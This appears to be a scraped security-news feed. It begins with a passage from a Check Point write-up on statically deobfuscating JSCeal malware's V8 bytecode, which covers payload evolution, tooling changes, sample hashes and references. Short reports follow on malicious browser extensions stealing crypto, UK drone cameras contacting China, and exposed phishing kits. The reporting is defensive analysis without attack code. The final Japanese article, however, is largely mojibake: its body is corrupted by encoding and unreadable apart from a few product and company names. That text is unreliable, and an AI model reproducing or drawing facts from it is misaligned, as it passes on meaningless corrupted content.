saveBalance  calls, obtaining the following list of targets: UBITEXPAXFULKRAKENHTXCOINSPHTOKOCRYPTOOKXKCEXHATACOINHUBREMITANONOONESFORTUNO_MARKETSGATEIOBYBITPOLONIEXMEXCCSGOEMPIREFMCPAYBINANCEPIONEXKUCOINI3QDIGIFINEXASCENDEX JSCeal evolution The last JSCeal payload we observed using V8  10.2.154.26-node.25  was  0d1fce0cb2b9dec26a10f0822aeffb19 , associated with campaigns starting at the end of October 2025. By that time, we could already see the authors making incremental changes intended to complicate analysis. Earlier, the JavaScript launcher had been renamed from  preflight.js  to  preload.js  and, along with this change, was itself obfuscated using the same  javascript-obfuscator . The payload was also renamed to  app.js . Although its contents were still a V8 code cache rather than JavaScript source, the new name made it blend in better with ordinary application files and rendered hunting based on the  .jsc  extension ineffective. These changes were still relatively minor and did not require modifications to our analysis toolkit. A more significant update appeared in campaigns starting early November 2025. The bundled Node.js runtime was upgraded, bringing V8 to  13.6.233.10-node.28 . In our experiments, code caches produced for this runtime proved considerably more sensitive to the exact runtime build and snapshot configuration, making it more difficult to obtain a compatible standalone V8 disassembler. However, once we were able to recover and decompile the bytecode, the overall payload structure remained familiar. We could recognize the same  javascript-obfuscator  patterns, including the string-decoding infrastructure, proxy indirection, and control-flow flattening used by the earlier generation. The authors introduced another obstacle by adding an AES-256-CBC encryption layer around the Brotli-compressed payload. The first encrypted payload we observed was generated on  2025-11-11  ( 581e2e2265d0c1509b3799c5a9039374 ). The AES key is not stored in the malware bundle itself. Instead, another stage of the deployment chain provides it through an environment variable. Recovering the underlying V8 code cache therefore requires obtaining the corresponding key from the surrounding infection chain, which is not always possible when only an isolated bundle or payload is available. Protecting a payload with an encryption key supplied by an earlier deployment stage is an effective anti-analysis technique, consistent with patterns seen in other mature malware frameworks. Alongside these changes in payload protection, we also observed campaigns targeting macOS; one example is  de10c6b3dc4619f59bc9c80a0aa15e6a . Taken together, these developments show that the JSCeal authors are investing both in making the payload harder to analyze and in broadening its platform coverage. With campaigns continuing into recent months, the changes indicate that JSCeal remains under active development. Conclusions JSCeal combines two forms of analysis friction: a version-specific compiled V8 format and several layers of JavaScript obfuscation applied before compilation. Neither makes the malware impossible to reverse, but together they move it outside the workflows that analysts normally rely on. Several conclusions emerged from this work. Format choice creates asymmetric analysis cost.  Attackers do not need a custom compiler or a novel virtual machine to obtain meaningful protection. They can combine the Node.js ecosystem, an off-the-shelf obfuscator, and V8 code caching to produce capable malware quickly. The defender, meanwhile, has to deal with version-sensitive bytecode, immature tooling, and a large pseudocode corpus before reaching the application logic. Layered obfuscation needs to be addressed with layered deobfuscation.  JSCeal’s transformations depend on one another. Recovered strings expose dictionary keys and dispatcher order; those expose proxy relationships; proxy cleanup reveals simple operations and direct calls. Reconstructing the script in one go was not possible. We had to isolate each transformation and undo them by a narrow, ordered sequence. Static recovery can be practical without producing runnable source.  View8 pseudocode is not the original JavaScript, and our pipeline does not attempt to make it executable. Nevertheless, the recovered representation is sufficient for ordinary analytical work: following logic, locating capabilities, extracting artifacts, comparing samples, and validating behavior against runtime observations. LLM-assisted naming is useful as navigation, not as evidence.  Dependency-aware renaming can make very large recovered codebases substantially easier to browse, especially after deterministic deobfuscation has already exposed meaningful strings and calls. Our evaluation also showed why the labels must remain hypotheses: different models often choose different levels of abstraction, and even strong models can produce confident but incorrect names. The function body, strings, APIs, paths, and data flow remain the evidence. The recovered JSCeal code exposes a broad capability set.  The analyzed payloads include browser and credential theft, cryptocurrency-focused collection, Telegram session theft, keyboard capture, screenshots, and a local HTTPS interception proxy capable of installing an attacker-controlled certificate. Static recovery makes it possible to examine not only behavior observed during one run, but also branches that may not execute in a particular environment. Version sensitivity remains a tooling challenge.  The move from the V8  10.2.154.26-node.25  generation to  13.6.233.10-node.28  demonstrates the cost of relying on an internal, version-specific format. A new runtime generation can require renewed work at the disassembly layer even when the malware’s higher-level structure and obfuscation remain recognizable. The main result is therefore not perfect source reconstruction. It is a repeatable path from a compiled, obfuscated V8 payload to code that can be inspected and compared again. We released version 1.0 of the toolkit [ 7 ] as a reference implementation of that methodology and as a starting point for analysts facing similar V8-based payloads. The current end-to-end setup targets V8  10.2.154.26-node.25 . We are planning to add support for V8  13.6.233.10-node.28  in future releases. The recent JSCeal changes show that the problem is still moving. Payload names, runtime versions, encryption layers, and target platforms can change while the core analysis challenge remains the same: recover enough structure to turn an opaque compiled artifact back into evidence. Appendix – A Listing of the most important changes introduced in the View8 code during the development of the deobfuscation pipeline. Serializing output By default, View8 emits only a text representation of the decompiled output. As part of our pipeline, we needed to apply multiple transformation passes. Working with the decompiler’s internal representation was much more convenient than parsing raw text. This is why we introduced an additional output format: a serialized object graph representing the internal decompilation state. Python’s pickle format was chosen for convenience. The deobfuscator loads the pickled input and operates directly on the reconstructed View8 objects. Each pass can work independently, reading the serialized state produced by the previous pass. Splitting output Another difficulty in JSCeal analysis was the significant size of the output, which reached up to 47 MB because the payload included a large number of bundled modules. As a result, finding the code that belonged to the malware itself was quite challenging. To make the output easier to navigate, we added to the View8 decompiler the ability to split it into separate files, each representing a single tree of function dependencies. The tree can be constructed using different relationship types: the declarer hierarchy ( declarers ), direct function calls ( calls ), or broader function references ( references ). For call- and reference-based trees, the analyst can also control the traversal depth and separate larger branches into individual files. This makes it possible to extract a focused subsystem around a selected root without printing the entire payload. Normalization of the generated function identifiers Each function name generated by the View8 decompiler contains a hexadecimal suffix derived from address values present in the V8 disassembly. These values correspond to live heap addresses used by V8 and are not stable across different runs. Because of ASLR, disassembling the same JSC file twice may therefore produce different function identifiers. The relative object layout may also differ between V8 or disassembler builds, making simple address rebasing insufficient. For reproducible output, we added the  --normalize  option. It replaces the address-derived suffixes with deterministic identifiers based on the order in which functions are encountered while parsing the disassembly. A fixed virtual base is added to the parse index, preserving the familiar  func_<name>_0x<value>  format while making the identifiers independent of the original heap layout. The mapping between the original and normalized function names can optionally be exported to a CSV file using  --normalize-map . Function and line metadata We introduced a  metadata  field to each line and function. This lets us pass information between each layer of the deobfuscator and reduces the burden of reparsing. For example, once we parse a line and enumerate all the registers it references, this information can be stored in the line object for further use. Similarly, metadata can be added to a function. As a result, even after deobfuscating a function we don’t lose the information about what type of obfuscation was applied to it (for example: Control Flow Flattening). We can filter the functions by the metadata tags, and display them selectively. Hiding functions In past releases, View8 allowed lines to be hidden by setting the visibility field in the line object. While this feature is very useful, it may not be enough when we are dealing with obfuscated code. Sometimes there is a need to hide entire functions, not only selected lines. For example, we will encounter multiple proxy functions, of different types, that were introduced only for the purpose of complicating the code flow. Sometimes a single call is done by a rabbit-hole of proxies, that have to be understood and then removed, to make the call direct. There are also many small functions whose only role is to implement a single arithmetic operation. During the deobfuscation process, those functions will be parsed and the calls to them will be replaced by the explicit operations. Once the functions are resolved, they can be safely hidden. Changed representation of globals The original View8 output displays global variables by the names with which they were declared. In the case of obfuscated code, those names are intentionally made meaningless. Sometimes they are one or two characters long. We also encountered cases in which the names of globals were identical to the names of registers used by the standard JSC code ( r{number} ) and therefore, understanding what they really represent required broader contextual analysis. In order to make the meaning more explicit, and the output easier to parse, we appended the  global_  prefix to each global variable. Once the globals are parsed, their explicit definition in the start function ( DeclareGlobals ) is hidden. Example: Before: ACCU = DeclareGlobals(["oQ", "kg", "xQ",...]) [...] oQ = Object["create"] kg = Object["defineProperty"] xQ = Object["getOwnPropertyDescriptor"] After: global_oQ = Object["create"] global_kg = Object["defineProperty"] global_xQ = Object["getOwnPropertyDescriptor"] Appendix – B The analyzed files Note: The tests were performed on 23 different payloads using V8  10.2.154.26 . During two unattended test runs, documented in the repository [ 8 ] (directory  sessions_23_samples ), all filters completed without exceptions and produced output suitable for code-level analysis. The collected logs show the details of each run, along with the timing and evaluation. The appendix lists one additional, older payload beyond the 23-sample main evaluation corpus. Its deobfuscation was successful, but it uses an earlier, simpler string-obfuscation variant handled by  deobf_str1.py , so it was not included in the automated pipeline evaluation. JSC files (original, Brotli-compressed) with corresponding bundle ( build.zip ): md5 (jsc) sha256 (jsc) sha256 (bundle.zip) 03f4e47b9c2283c32bb8f8f042ce6e41de213ebc44c614d0b2324787e267183dbbbbb19e1ad866435a322ee00e24e7b6c77b3b7a507162bfc03cfeb8ef18d5ee7017e8fcbd6d7e005f986a3c967b8d450b8015cbb1ffdc6efe6a306ff5b1115f4757f3d26bc7110e9c7f4da8050afc2ed661cd92aec9cf7d301d9b9b24e0b668b90e3aaae14e7787e5ea4a6d4beee672049bd5eb05427f2c80b64f605860d2b81026743185dfa10e9ddc21b5a4c578d5212d21ed1c4b5bd9b9104e04f2876842b99cd17def3591df72781891d584dca055ee2359b12fbce928532d1d4efcfbbbd63340502d0107466c803d6517b44437201f28b5e62e52e269757930f941c774f720d6f6baebd4ef76df978f2678387385ee2d20a37423e7957c2341fe46f9cab3f76851a8e55a967029be7ffe4c15afd63656d6946a3df77206455e5ac28ea12fe27eb8c99626e8c02e4bfd02aca9628d389f56c5b71d194bddd5b6ce5906e7e22730034ad882606cc8ae701011bf8c67e3d7bcdf4cfd25750425ac0682e0ed98b3cb473448696fb79bf311fcdb18cd376ec4dbc3363fa7131367e4c6327a462ef1ea37a941330a79a3056461e61992864e6e38c0f68cbb626ebf1f96e362c599b8124c2a64d26567f19a44618144b1d6a7501a5892918f0120a496f983a0f2462195f7f8033df7371e899fe9bc51de62ba626bce09db5f8750938edced3768b401084a7d6584cd6ff9d53d2517781ddc561df51d27ed3a99cb916bf08452c901956778c26709e69705cbdf77f74816499184635d56a9827d2059256a35e530c12ac711b4ceaa17a4e48b16fca7dabd615e4eaf35bb65fe9131ceac1687095add2bb7316be55446aebfa31d05e57e936eb9a18d5d9c20d60d87493100d05fe6533d0b93ea03cd5bab4eec0f0ebadd03484da78b0fef35711f86876f7c1c77264b8e4295d7393369379c384c05337ec5684aabefe516539cda48c65cb08014e6eb645b4f1e668d159fe0c18cf74eb40768ac84a8470d1f365f0bb2f37b6256d50c31453e74a3b763c7aea550b4f5f194e7656226012b243221eb93fa22da118ef6c670e65765d10a5ca0205a6ece3a3e6c7c730b0a8534c5adef4a3cbf06eb9c6e023b9b3097a2dba311cb06a91fe2595f071a36c0a79ddce92824a49fd8e9bd048b87cabb635671073402365afc342a3d800b7dbdcb6874e29ddd2e9a1313f3d82b323e89a720c632c708098a7ca0e97b659fa5c93af29c4e11d8c8be43705882f8215c7e68f4a6b656b7dc6638982a6625c662ce6d6a05330eefbfde2637ac6b498ec73d32860202b6a6ff8d21f8b5216c3903e066136f9d69ef2969955a788fb3e6acb2024601eba0ba484091ff3d31b38e76ccaca6f38168b4fdd9cbdedd8efa7e65fe6090240e281bd3152a6feb5fe810cb5b34c8fd07c7eca301b32ef2d3b86290828d67edaad8444db811f20baf105a6d4dc10b2bfefd75e917245523caf8bfc90e4300b8a18c3fe3a4badbe44c106830e7432d8eea227857a790ec917f3e73b2e0ebea3eaffa3685e0a162d10fde388282060d9e35b173b743676916b2dad3f88b7f6870f83eb1ad852b7f7e1f5acba97db6d514e4b35ba0601c5269697e8ab3bb99d097db25ec7e744645948c674f58b157a7319b564bb774e7aeb35135d615511838e4a553fe7ea9e94759d064dfaaef30c057b832c79996c35e899b5359dc99501ef2a4667d265e9b032f76dc28c97437a463965e2168d20e5c385a024ae97242be3b1b954f845f7a87a1411c47830f81a2b54f47ec2cf741e2a0d5b4137135cf121e3ea07b1c81fe11088abffe0d13d3b93ca3469045e4cebbee25b3631e6bba13880f04b7c8acac253609f803f69bde280adbd4e584ed26a01affac9721db8c5730275d385f084b422ae26687982d924ffebef6fbf2d9d4335095b39a0bad021f33e08df042b02d3267faee7bbc3e3080dda295c35b464dd60718347a39f174c97947649b3f1de55e8409ff805e808f2101e5953a956e9ee99fe27ae65977287bdfb7b0e15fd3603f85b73c3d732bb6bff8b9088cc0dcbadb35eea0802056324f1b6295cb9277c627559615f60ea3cc1c65eb8fe6d77bb85fe6b455503193eab02310a873fccadd332ee711a90b5ece5380e1acaed56827e8d51b0efeb1d988b7bc11014ccc9fdff141fc16425d659f553f6cc6946872499667acdaba94e9975e8e03fa13bae7f0f93f165f42226aeecea3af5a4e0111bdfb7e0d1fce0cb2b9dec26a10f0822aeffb195b4edd9bffdd7909b8b432eacd463d59eb23eba151c9e218161ab15dd72d55ed2d42aa747f7ebc3280b14d30c6b71043545888946d9d6acd6abbaf4545841462e8b5448b4f7b013e8c6191b20d3f829105db78bff1a48a674e70368b96a550a5f9f93271eb261ab63b36ee37e0e8b9f884db0663b6aa8df2ac04470288fd5528f5537fb89d78a2e01cabdce371a686e8fd4494c555adda2eb54b88f5c9c08801058ae4136e241f116d8c5b1a1cad15b53090797154539faa35706568fbd85d9b7e1c82cdcff73ac69fee3ba71d67353a062103f1bfae4f263d03b3b84e48d782 JSC files (original, Brotli-compressed) with corresponding unpacked versions: md5 (JSC original) md5 (unpacked) sha256 (unpacked) (unknown)91038aebe528a065c3e995a418db6826c288e79ed9d1fb654a341b92d878a3165a09fb21dfa826f3559b46738fdbbdeb03f4e47b9c2283c32bb8f8f042ce6e4113823095b8d31013ba41a5c98ce69b598b3ed808822479eb62d78d819db35362e4e79138ac82310d30e0c351a17992b60b8015cbb1ffdc6efe6a306ff5b1115f454fb012cdd0736e4ed41fabf0916f462cf2d22d1317df6c49171be61ef35c4f6c3da17785fa73e68aa95109075f79bd1026743185dfa10e9ddc21b5a4c578d5975319142460fc43e3dc5e495d2313c994191824bb5062622663e2434d2b749a8c936eb573aaac23594dee8dda304731201f28b5e62e52e269757930f941c77409dbfac09f9cafdbc7d225eb144f0e69742ad2dd3d2444bd3758b6e46dd76f9c43dfaae03bdffc3598ce7d8ab3cd3ac52fe27eb8c99626e8c02e4bfd02aca962c8db5e53572e68349c76107f03544491504345099ba4c77cbb4224101794e525f2bc9adb40904159195c17d7e345085e376ec4dbc3363fa7131367e4c6327a46a2aa25f0d5b23a2897576e4cf9596a7c11e85a8306057945accc65395b780377c07d4ec9ae52d78185554bf1957e3caa462195f7f8033df7371e899fe9bc51de2841170a19c028c16990cdcc6fd499bc43c57c60a8008e617b16dc6dab29372347ebe144f043200c106149c3106438ba499184635d56a9827d2059256a35e53030f23bb28ce56584f8f098ff0035b029cfdb3bb9edea8de7c7a70275a2b8689619276f1e5f2b8805e67ceab1ee252f6d533d0b93ea03cd5bab4eec0f0ebadd03cd7afa032d5f5be0db037edb617f438b6075cd41edb59c43c13aa3591e054cdb127b17bf34e036dae591244ea2f8868f68ac84a8470d1f365f0bb2f37b6256d5a6f5bb2b8a3e1abe332dd40e50d78aa3c13fcb214a576401cd624dacf248480c38b8bcbb85e5d3da52cc204a61395d146e023b9b3097a2dba311cb06a91fe2596626b8caf2734c83a93f78d31b703584395f4c1562a1a8caeba254ccbc7d278b8194795ff5ad3824cfc0c566273835f07b659fa5c93af29c4e11d8c8be437058469c60508d4470bc1cc5e4a70d0e7112192342a5e4fcfc5e8ec430427e1dfa773fd324e3d7215047f36f1114ef930f4e8fb3e6acb2024601eba0ba484091ff3de57f6ca6543616f75f7811273616fe470c72513efdae9785894b6e925590d0b59b652dda53b8cd882037a87e672a4a5aaf105a6d4dc10b2bfefd75e917245523a308fa1524c9d5b8dc55d2b296a2629b9f673e3b361f438e9986f2a7b2423d3d02dbecea0c220163566850ef6ab56626b2dad3f88b7f6870f83eb1ad852b7f7e576e94d705bd50811dc9525a45732bc359c9038227c634f4e512afaa98f2ca998b0aaac83437c218686c51acbda7873ed064dfaaef30c057b832c79996c35e89710cc97e64618c68ffca72ac405a48a188b1d75d330cf6be9a7f48cdfd51c48125a86f9bcb6bcb736fb8399e0617d680d5b4137135cf121e3ea07b1c81fe1108c605371a8caf11497f1879597292e3382c29b4089845b010428f8be48e62f165e0f7f8a48e58200629c6020c7ac2cab7e26687982d924ffebef6fbf2d9d433502477fd3e348c51bf575ede398253d0b3aec3e252c429e150c42976d6badeea31e48a0356ecbd27796df83fc6d3de16eae27ae65977287bdfb7b0e15fd3603f857650ec266b414d097101da12c438465957f32b3942d5543177f07e49fc84f1409a49b5df7d25549e543607c223b87695e711a90b5ece5380e1acaed56827e8d51b7f4288b12373c8d6488fde69c8ce0dfa02e707af9a353f0e2d7a77489c11c2249a1d9dbccf74070130b31834e8d7c30d1fce0cb2b9dec26a10f0822aeffb19e81b35b76b4d97751c0724bc0c7f3b8336d34b6405a33fcb95e1323e2ca8c688af02b315fc1bded19fa27bd1c7ca6f1ce8b5448b4f7b013e8c6191b20d3f8291fa0180946b9a6ad373b7a8f983e2e59722833568125bcc55000503cfe6b470925b7d095ff7592bef79fe52e0573123ccfd4494c555adda2eb54b88f5c9c0880110c576a57fc040eddd84d631786b8dda06dce0f294c62f2a2393c812ff711bde831bf420a4df484bcf5b6241fc0f00d0 Appendix – C Of the 24 payloads listed in  Appendix B , 23 use the dominant string-obfuscation variant handled by  deobf_str2.py . The older payload  91038aebe528a065c3e995a418db6826  uses the simpler variant handled by  deobf_str1.py . All identified obfuscated string chunks in these 24 payloads were successfully deobfuscated  — meaning that each identified obfuscated chunk was decrypted into a valid string chunk. Complete listings are available in the repository [ 8 ] in the files named by the pattern:  {md5}.deobf.txt.strings.txt . Related Research [1]  Sealed Chain of Deception: Actors leveraging Node.JS to Launch JSCeal [2]  Exploring Compiled V8 JavaScript Usage in Malware [3] View8 (original): https://github.com/suleram/View8 [4] View8 fork:  https://github.com/j4k0xb/View8/ [5] Brotli Algorithm:  https://github.com/google/brotli [6] JavaScript Obfuscator: https://github.com/javascript-obfuscator/javascript-obfuscator [7] JSC_deobfuscator: https://github.com/hasherezade/jsc_deobfuscator/ [8] Material extracted from the analyzed samples: https://github.com/hasherezade/jsceal_datasets [9] V8 string literal patch: https://github.com/hasherezade/jsc_deobfuscator/blob/main/Utils/disasm/patches/v8_string_patch.diff [10] V8 build instructions:  https://github.com/hasherezade/jsc_deobfuscator/wiki/Building-V8-Disasm [11]  Demos illustrating the deobfuscation process live [12]  Microsoft Security: threat actors misuse Node.js to deliver malware and other malicious payloads [13]  Cato CTRL Threat Research: A Deep Dive into a New JSCEAL Infostealer Campaign The post Breaking the Seal: Static Deobfuscation of JSCeal’s Compiled V8 Bytecode appeared first on Check Point Research .
research.checkpoint.comAug 31, 2026extracted
Chrome Web Store extensions caught stealing crypto, browser data
Multiple extensions for Google Chrome and Microsoft Edge delivered a malware framework that deployed modules to steal cryptocurrency, sensitive data, and browser history, and to inject ClickFix lures. Researchers say all 19 malicious modules uncovered in the campaign serve distinct purposes and are designed to be "highly extensible." The operation was uncovered by application security company Socket, and the investigation indicates that it may have been active since early 2024. Socket says that when initially published on the Chrome Web Store, many of the extensions provided the advertised functionality and contained no malware. According to the researchers, five of the extensions were acquired from their original creators and injected with malware via updates delivered automatically. One example is the "Enable Right Click & Copy — Smart Unlock + OCR" extension, which had a Chrome user base of at least 70,000 when it turned malicious. The number of installs on Edge was 10,000 at the time. Google caught the threat early and removed the extension from its add-ons marketplace, but at the time of Socket publishing its report, the Edge version remained available. Once installed, the malware establishes an encrypted WebSocket connection with command-and-control (C2) servers, downloads JavaScript modules, removes Content Security Policy (CSP) headers from every website visited, and injects malicious scripts into websites through hidden HTML elements. Socket observed malware modules with the following capabilities: Draining EVM, Solana, and Tron wallets by hijacking legitimate “Connect Wallet” and “Swap” buttons Replacing Ledger and Trezor websites with convincing seed-phrase phishing pages Stealing sessions, tokens, account data, and balances from Coinbase, Binance, Kraken, OKX, MEXC, KuCoin, Bybit, and MetaMask Recording credentials and form entries across websites Harvesting Facebook and LinkedIn account information Exfiltrating browser history Displaying ClickFix-style fake browser updates that instruct victims to execute attacker-provided commands Socket warns that the malicious framework may have more modules and that as the malware evolves over time, new payloads are expected to be deployed. At the time of publishing, none of the malicious extensions are available in the Chrome Web Store. Socket's report provides the full list of extension IDs uncovered in the campaign along with the domains used for C2 communication. Users who had any of the extensions installed should assume that their credentials have been compromised and change their login passwords. Cryptocurrency holders potentially impacted by this campaign are recommended to move their assets to a newly created wallet as soon as possible. Update [August 30]: Article edited to include the full list of malicious extensions discovered by Socket. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comAug 30, 2026extracted
Uk, le telecamere sui droni navali K3 Scout della Marina trasmettevano in Cina. Indaga il Ministero della Difesa
Al momento, comunque, non risultano compromissioni dei sistemi militari, né informazioni sensibili esfiltrate all’estero. Le telecamere installate sui droni navali K3 Scout della Royal Navy britannica e delle forze speciali dell’Uk avrebbero trasmesso delle comunicazioni a un indirizzo Internet localizzato in Cina . Lo riporta il Telegraph , che ha così confermato la presenza di componenti tecnologici cinesi all’interno dei dispositivi. I K3 Scout rientrano in una flotta dal valore complessivo di circa 12 milioni di sterline , fornita dalla società britannica Kraken Technology Group . Le telecamere avrebbero inviato periodicamente delle heartbeat communications . Si tratta di quelle “ comunicazioni automatiche utilizzate per verificare che i dispositivi fossero connessi e funzionanti “. Il Ministero della Difesa britannico ha comunque precisato di non aver trovato alcuna prova di compromissione di sistemi militari o di informazioni sensibili esfiltrate . In ogni casi, le autorità di Londra hanno deciso di rimuovere la connettività Internet dalle telecamere. L’importanza dei K3 Scout I K3 Scout , entrati in servizio dallo scorso marzo, sono impiegati dal Coastal Forces Squadron e dal 47 Commando dei Royal Marines . I droni avrebbero inoltre dovuto trovare un impiego anche in future missioni britanniche nel Golfo, in particolare nello Stretto di Hormuz . Sempre secondo il Telegraph , l’episodio rappresenterebbe “ un grave fallimento nel controllo dell’ origine dei componenti “, al punto da compromettere la fiducia nella piattaforma . Le preoccupazioni riguardano anche la possibile esposizione di personale in possesso di autorizzazioni di sicurezza presso il quartier generale del Special Boat Service a Poole. Particolare attenzione ha inoltre suscitato “ il fatto che alcune telecamere sarebbero rimaste attive anche quando i droni risultavano spenti “. Le preoccupazioni Il Kraken Technology Group ha dichiarato che alcuni dispositivi prodotti da terze parti , pur essendo conformi alle normative statunitensi NDAA , contenevano “ un numero limitato di componenti provenienti dall’estero “. L’azienda ha tuttavia assicurato che una verifica, condotta insieme alla Royal Navy , “ non ha rilevato alcuna evidenza di condivisione di informazioni sensibili al di fuori dei canali previsti “. Il caso ha riacceso così i riflettori sui rischi legati alla provenienza dei componenti elettronici utilizzati nelle tecnologie militari. In particolare, “ quando dispositivi connessi vengono impiegati in operazioni che coinvolgono forze speciali e infrastrutture strategiche “. Seguici anche sul nostro canale WhatsApp Vai al sito di Cybersecurity Italia. L'articolo Uk, le telecamere sui droni navali K3 Scout della Marina trasmettevano in Cina. Indaga il Ministero della Difesa sembra essere il primo su CyberSecurity Italia .
cybersecitalia.itAug 21, 2026extracted
GitHubだけでMFA突破攻撃を量産できる時代に 現役フィッシング基盤の全貌が判明
���v�f�F����������Ƃ����Ĉ��S�ł��鎞��ł͂Ȃ��Ȃ����B�ݒ�~�X�ŊO�����J���ꂽ�U���҂̃T�[�o����͂����Ƃ���AGitHub�œ���ł���R�[�h�ƈ����ȃN���E�h�T�[�r�X��g�ݍ��킹�邾���ŁA���x�ȃt�B�b�V���O��Ղ��\�z���Ă������Ԃ����������Ƃ����B ���̋L���͉������ł��B����o�^�i�����j����ƑS�Ă������������܂��B �@�Z�L�����e�B��Ƃ�Lexfo��2026�N7��13���i���n���ԁj�A�ݒ�~�X�ɂ���ĊO�����J����Ă����U���҂̃T�[�o����͂��A�ғ���������3�̃t�B�b�V���O�����ƁA���ꂼ����^�c����ʌ̍U���҂���肵���Ɣ��\�����B �@���J��Ԃ������T�[�o�ɂ̓t�B�b�V���O�ݒ��F�؏����W���O�ARMM�iRemote Monitoring and Management�j�֘A�t�@�C���A�R���{���X�g�i���[�U�[ID�^�p�X���[�h�̑g�ݍ��킹���ꗗ���������́j�A�uTelegram�v�Z�b�V�����Ȃǂ��ۑ�����Ă���A�U����Ղ̓����\����^�p���Ԃ��L�͈͂ɂ킽���ĘI�o���Ă����Ƃ����B �@�����Ώۂ̃T�[�o�̓u�_�y�X�g���݂�VPS�iVirtual Private Server�F���z��p�T�[�o�j�ŁAPython��HTTP�T�[�o���f�B���N�g���ꗗ�\����L���ɂ����܂܃C���^�[�l�b�g�Ɍ��J����Ă����B���J�̈�ɂ́u.bash_history�v��uEvilginx�v�֘A�f�B���N�g���A�e��o�b�N�A�b�v�A�c�[���Q�Ȃǂ��c����Ă���A�^�p����AiTM�i���ԎҁFAdversary-in-the-Middle�j�^�t�B�b�V���O��Ղ�uSimpleHelp�v�̊Ǘ������m�F�ł����B �@Lexfo�̓T�[�o���̃f�[�^����͂��A�U���ҁucodemado�v�umail-argenta�v�usaroula01�v��3�҂����ʂ����B3�҂͌��J�uGitHub�v���|�W�g���R���́uEvilginx�v�h���łƂ������ʂ̃R�[�h��Ղ𗘗p���Ă������̂́A���ꂼ��Ɨ����Ċ������Ă���A�W�I��^�p��Ղɂ��Ⴂ���������Ƃ��Ă���B �@codemado�ɂ��ẮA�u.bash_history�v�AGitHub���|�W�g���ATelegram�Z�b�V�����A���J�����ȂǕ����̍��Ղ���A�G�W�v�g�Ƃ̊֘A�����������m�F�����B2018�N���납��n�b�L���O�֘A�R�~���j�e�B�[�Ŋ������Ă�����Ղ�����A�uMicrosoft 365�v��W�I�Ƃ���AiTM���ɉ����A�Ǝ��̑�ʑ��M�c�[���uMaDoO Blaster�v���^�c���Ă����B �@�T�[�o�ɂ͕�����Evilginx�h���ł̑��A�uScreenConnect�v�uSimpleHelp�v�uSuperOps RMM�v�uGetScreen�v�uXEOX RMM�v�Ȃǂ̉��u�Ǘ��c�[����A�uPowerShell�v�uVBScript�v�̃h���b�p�[�A�F�؏��ގ�v���O�����Ȃǂ��ۑ�����Ă����B�uCloudflare Tunnel�v����������A�ʐM�o�H�̔铽�����}���Ă����B �@MaDoO Blaster�́uMicrosoft Entra�v�𗘗p�����d�q���[�����M��[���e���v���[�g�����A�Y�t�t�@�C���쐬�AQR�R�[�h���ߍ��݁AHTML�{���̉摜���ȂǑ��l�ȋ@�\������Ă����B���p���@��Telegram�Ō��J����Ă���A��O�҂ւ̒�O��Ƃ��Ă����\��������Ƃ����B �@mail-argenta�͕����T�[�r�X�����̃t�B�b�V���O��Ղ�GitHub�Ō��J���Ă����BMicrosoft 365�AGitHub�A�Í����Y������uKraken�v�ASNS�uLinkedIn�v�Ȃǂ�W�I�Ƃ����h���ł�Ǘ��p�l�������A�\�[�X�R�[�h�ɂ�Telegram�ݒ��uMySQL�v�̔F�؏����c����Ă����BLexfo�͘R���������F�؏��Ƃ̏ƍ�����A�i�C�W�F���A�Ƃ̊֘A�����������Ƃ��Ă���B �@����Asaroula01��Microsoft 365�́uDevice Code Flow�v�����p����Evilginx�h���Łublack-queen�v�̊J���҂Ƃ݂��Ă���BDevice Code Flow�͐��K�̔F�؋@�\�����A���p�҂𐳋K�̔F�y�[�W�ɗU�����ăf�o�C�X�R�[�h����͂����邱�ƂŁA�U���҂��F�؍ς݃A�N�Z�X�g�[�N�����擾�ł���Bblack-queen�ɂ�Web�Ǘ���ʂ�Cookie�����@�\�A�uMicrosoft Graph API�v�𗘗p�������[���{�b�N�X�{���@�\�Ȃǂ��lj�����Ă����B �@�uGit�v�̗�������͍폜�ς݂̐ݒ�t�@�C����g�[�N��������������A�uromnor.ca�v�z���̕����T�u�h���C���𗘗p�����^�c���Ԃ����������BTelegram��bot��VPS�����܂܂�Ă���A2025�N6���ȍ~���������p�����Ă������Ƃ������L�^���c����Ă����B �@codemado�́upicis.net�v�z���ɑ����̃T�u�h���C�����\�z���A�uMicrosoft Office�v�uMicrosoft OneDrive�v�uMicrosoft Authenticator�v�uAdobe�v�uDocuSign�v�uSharePoint�v�����t�B�b�V���O�y�[�W���^�p���Ă����B�uCloudflare Tunnel�v��uNode.js�v���t�B���^�[�����p���A������͂�W�Q�������u���Ă����B �@mail-argenta��Kraken�𒆐S�ɕ����T�[�r�X��W�I�Ƃ��銈����W�J���ALinkedIn������E�����}�b����O�T�C�g�ueHarmony�v��_�������m�F���ꂽ�B���J��Ԃ�����Cookie��ݒ���A�^�p�̈ꕔ��c���ł����Ƃ����B �@saroula01��3�҂̒��ōł������Ԋ������Ă���ALexfo��218���̔�Q�҂��m�F�����B��Q�҂̖�94���͊�Ɨ��p�҂ŁA�p���A�I�[�X�g�����A�A�č��A�X�y�C���A�|�[�����h�A�J�i�_�ȂǕ��L���n��ɋy��ł����BGit�����ɂ�97����Microsoft OAuth�g�[�N�������c����A�����X�V�ݒ���m�F���ꂽ�B �@Lexfo��3�҂�P��̑g�D�Ƃ͔��f���Ă��Ȃ��B���JGitHub���|�W�g���R���̃R�[�h��ՂƂ����Z�p�I�ȋ��ʓ_�͂�����̂́A������Ղ�W�I�A�^�p��@�͂��ꂼ��Ɨ����Ă����ƌ��_�t�����B �@�܂��A�uSOCRadar�v�������uThe Quarry�v�G�R�V�X�e���Ƃ̐ړ_���m�F�����BMaDoO Blaster�͊֘A�`���l���ŏЉ��Ă���A�uRockyBelling�v���^�c����T�[�r�X�Q�Ƃ̊֘A���F�߂�ꂽ�B����ŁAmail-argenta��saroula01�ɂ��Ă͒��ړI�ȊW�͊m�F�ł��Ȃ������B �@Lexfo�́A���JGitHub���|�W�g��������ȃN���E�h�T�[�r�X��g�ݍ��킹�邾���ŁAAiTM�ɂ�鑽�v�f�F�ؓ˔j��ADevice Code Flow�����p���ĔF�؍ς݃g�[�N�����擾����U����Ղ��r�I�e�Ղɍ\�z�ł���ɂȂ��Ă���Ǝw�E�����B���̏�ŁA���������U����O��Ƃ������m�E�Ď��̐���C���V�f���g�Ή��̐��̋������K�v���Ƃ܂Ƃ߂Ă���B Copyright © ITmedia, Inc. All Rights Reserved.
atmarkit.itmedia.co.jpJul 14, 2026extracted
